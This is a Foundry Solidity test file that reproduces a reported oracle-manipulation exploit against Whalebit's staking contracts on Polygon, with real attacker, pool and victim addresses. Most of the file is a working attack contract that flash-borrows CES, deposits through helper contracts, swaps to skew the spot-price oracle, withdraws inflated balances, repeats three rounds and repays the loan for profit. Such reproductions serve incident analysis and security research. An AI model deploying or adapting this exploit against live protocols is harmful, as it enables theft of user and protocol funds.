src/test/2026-03/WhalebitOracleManipulation_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 824K USD
8// Attacker : 0xe66b37de57b65691b9f4ac48de2c2b7be53c5c6f
9// Attack Contract : 0xb5a8d7a37d60aa662f4dc9b3ef4c32a3fe21fadf
10// Vulnerable Contract : 0x9153e149b0d90dea634ed9f7df6ff71c2109b654
11// Vulnerable Entry Proxy : 0x40465755eb5846d655bbcc8c186a477469f9ce36
12// Attack Tx : https://polygonscan.com/tx/0x5d54fa839821e370b020d13a9b11b6f4f8cadc4eaed0a404ea17ad1bd725dbde
13 
14// @Info
15// Vulnerable Contract Code : https://polygonscan.com/address/0x9153e149b0d90dea634ed9f7df6ff71c2109b654#code
16 
17// @Analysis
18// Twitter Guy : https://x.com/DefimonAlerts/status/2039372077686251787
19//
20// The attacker flash-borrowed CES, repeatedly deposited through helper contracts, sold CES into the
21// CES/USDT Algebra pool to move Whalebit's spot-price oracle, withdrew more CES than each helper had
22// effectively paid in, then swapped USDT back to CES and repeated the cycle before repaying the loan.
23 
24address constant ATTACKER = 0xe66b37DE57b65691B9f4Ac48DE2c2b7be53C5c6F;
25address constant CES = 0x1Bdf71EDe1a4777dB1EebE7232BcdA20d6FC1610;
26address constant USDT_TOKEN = 0xc2132D05D31c914a87C6611C10748AEb04B58e8F;
27address constant FLASH_POOL = 0x296b95DD0E8B726c4e358b0683ff0B6d675C35E9;
28address constant ALGEBRA_POOL = 0xD3A9331A654444F9fe7DdbaEC6678C2Dc9113197;
29address constant WHALEBIT_STAKING = 0x40465755EB5846d655bBcC8C186A477469f9Ce36;
30address constant WHALEBIT_LEVELS = 0x1CaeFc860308b58D0B5Bb643d75c807c6a9d3a63;
31address constant WHALEBIT_PRICER = 0xB5ea1d17f3D8dA34a6D6a1d2acc2a148e1411868;
32 
33interface IWhalebitLevels {
34    function getPriceForLevel(
35        uint256 level
36    ) external view returns (uint256 cesAmount, uint256 levelAmount);
37    function getBalance(
38        address account
39    ) external view returns (uint256);
40}
41 
42interface IWhalebitStaking {
43    function deposit(
44        uint256 level
45    ) external;
46    function withdraw(
47        uint256 amount
48    ) external;
49}
50 
51interface IAlgebraPoolState {
52    function globalState()
53        external
54        view
55        returns (uint160 price, int24 tick, uint16 lastFee, uint8 pluginConfig, uint16 communityFee, bool unlocked);
56}
57 
58contract ContractTest is BaseTestWithBalanceLog {
59    function setUp() public {
60        uint256 forkBlock = 84_938_871;
61        vm.createSelectFork("polygon", forkBlock);
62        fundingToken = CES;
63 
64        vm.label(ATTACKER, "Attacker EOA");
65        vm.label(CES, "CES");
66        vm.label(USDT_TOKEN, "USDT");
67        vm.label(FLASH_POOL, "CES/USDT flash pool");
68        vm.label(ALGEBRA_POOL, "CES/USDT Algebra pool");
69        vm.label(WHALEBIT_STAKING, "Whalebit staking proxy");
70        vm.label(WHALEBIT_LEVELS, "Whalebit levels");
71        vm.label(WHALEBIT_PRICER, "Whalebit pricer");
72    }
73 
74    function testExploit() public {
75        WhalebitExploit exploit = new WhalebitExploit();
76 
77        // step 1: model the trace-start CES inventory that was already in the attack contract.
78        uint256 traceStartCes = 140_956.392_485_016_353_593_75 ether;
79        deal(CES, address(exploit), traceStartCes);
80 
81        uint256 beforeCes = IERC20(CES).balanceOf(address(exploit));
82        logTokenBalance(CES, address(exploit), "Attack Contract Before");
83 
84        vm.prank(ATTACKER, ATTACKER);
85        exploit.attack();
86 
87        uint256 afterCes = IERC20(CES).balanceOf(address(exploit));
88        uint256 profit = afterCes - beforeCes;
89        logTokenBalance(CES, address(exploit), "Attack Contract After");
90        assertGt(profit, 9000 ether, "CES profit after flash repayment");
91    }
92}
93 
94contract WhalebitExploit {
95    uint256 private constant LEVEL = 12;
96 
97    IERC20 private constant ces = IERC20(CES);
98    IERC20 private constant usdt = IERC20(USDT_TOKEN);
99    Uni_Pair_V3 private constant flashPool = Uni_Pair_V3(FLASH_POOL);
100    Uni_Pair_V3 private constant algebraPool = Uni_Pair_V3(ALGEBRA_POOL);
101    IAlgebraPoolState private constant algebraPoolState = IAlgebraPoolState(ALGEBRA_POOL);
102    IWhalebitLevels private constant levels = IWhalebitLevels(WHALEBIT_LEVELS);
103 
104    WhalebitHelper[5] private helpers;
105 
106    constructor() {
107        for (uint256 i = 0; i < helpers.length; i++) {
108            helpers[i] = new WhalebitHelper();
109        }
110    }
111 
112    function attack() external {
113        uint256 flashAmount = ces.balanceOf(FLASH_POOL);
114        flashPool.flash(address(this), flashAmount, 0, abi.encode(flashAmount));
115    }
116 
117    function uniswapV3FlashCallback(
118        uint256 fee0,
119        uint256,
120        bytes calldata data
121    ) external {
122        require(msg.sender == FLASH_POOL, "not flash pool");
123 
124        uint256 principal = abi.decode(data, (uint256));
125        (uint256 cesAmount,) = levels.getPriceForLevel(LEVEL);
126 
127        // step 2: three trace rounds of helper deposits, spot-price movement, withdrawals, and restoration swaps.
128        for (uint256 round = 0; round < 3; round++) {
129            for (uint256 i = 0; i < helpers.length; i++) {
130                ces.transfer(address(helpers[i]), cesAmount);
131                helpers[i].deposit(LEVEL);
132            }
133 
134            uint256 amountIn = ces.balanceOf(address(this));
135            (uint160 price,,,,,) = algebraPoolState.globalState();
136            algebraPool.swap(address(this), true, int256(amountIn), uint160((uint256(price) * 45) / 100), "");
137 
138            for (uint256 i = 0; i < helpers.length; i++) {
139                helpers[i].withdraw();
140            }
141 
142            amountIn = usdt.balanceOf(address(this));
143            (price,,,,,) = algebraPoolState.globalState();
144            algebraPool.swap(address(this), false, int256(amountIn), uint160(uint256(price) * 2), "");
145        }
146 
147        // step 3: repay the CES flash loan plus fee, leaving the manipulated CES profit in this contract.
148        uint256 repayment = principal + fee0;
149        ces.transfer(FLASH_POOL, repayment);
150    }
151 
152    function algebraSwapCallback(
153        int256 amount0Delta,
154        int256 amount1Delta,
155        bytes calldata
156    ) external {
157        require(msg.sender == ALGEBRA_POOL, "not Algebra pool");
158 
159        if (amount0Delta > 0) {
160            ces.transfer(ALGEBRA_POOL, uint256(amount0Delta));
161        }
162        if (amount1Delta > 0) {
163            usdt.transfer(ALGEBRA_POOL, uint256(amount1Delta));
164        }
165    }
166}
167 
168contract WhalebitHelper {
169    IERC20 private constant ces = IERC20(CES);
170    IWhalebitLevels private constant levels = IWhalebitLevels(WHALEBIT_LEVELS);
171    IWhalebitStaking private constant staking = IWhalebitStaking(WHALEBIT_STAKING);
172 
173    constructor() {
174        ces.approve(WHALEBIT_PRICER, type(uint256).max);
175    }
176 
177    function deposit(
178        uint256 level
179    ) external {
180        staking.deposit(level);
181        returnCes(msg.sender);
182    }
183 
184    function withdraw() external {
185        uint256 balance = levels.getBalance(address(this));
186        staking.withdraw(balance);
187        returnCes(msg.sender);
188    }
189 
190    function returnCes(
191        address receiver
192    ) private {
193        uint256 balance = ces.balanceOf(address(this));
194        if (balance != 0) {
195            ces.transfer(receiver, balance);
196        }
197    }
198}